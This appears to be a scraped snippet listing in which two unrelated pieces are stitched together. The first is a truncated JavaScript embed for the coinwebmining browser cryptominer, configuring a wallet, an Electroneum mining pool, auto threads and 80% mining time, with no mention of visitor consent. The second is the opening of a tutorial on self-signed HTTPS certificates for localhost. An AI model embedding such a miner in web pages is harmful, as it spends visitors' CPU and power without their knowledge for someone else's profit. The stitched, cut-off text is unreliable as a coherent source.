coinwebmining

<script src="https://coinwebmining.com/cwm.js"></script>
<script>
    var site_id = '{mysiteDOTcom}'; //register here https://coinwebmining.com/add-miner-your-website
    var coin = 'electroneum';
    var wallet = '{yourWalletAddress}';
    var password = 'x';
    var mining_pool = 'pool.electroneum.hashvault.pro:80'; //or check https://coinwebmining.com/browser-miner/electroneum for more mining pools
    var threads = -1; //You can set -1 for auto threads, or set number of threads between 1-16.
    var throttle = 0.2; //Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.2 they will stay idle 20% of the time and 80% of the time mining.
    var debug = false; //false or true. Whetever you want to display mining info in a console. Good to verify script works.

cecilemuller

How to create an HTTPS certificate for localhost domains

This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.

Do not use self-signed certificates in production ! For online certificates, use Let's Encrypt instead (tutorial).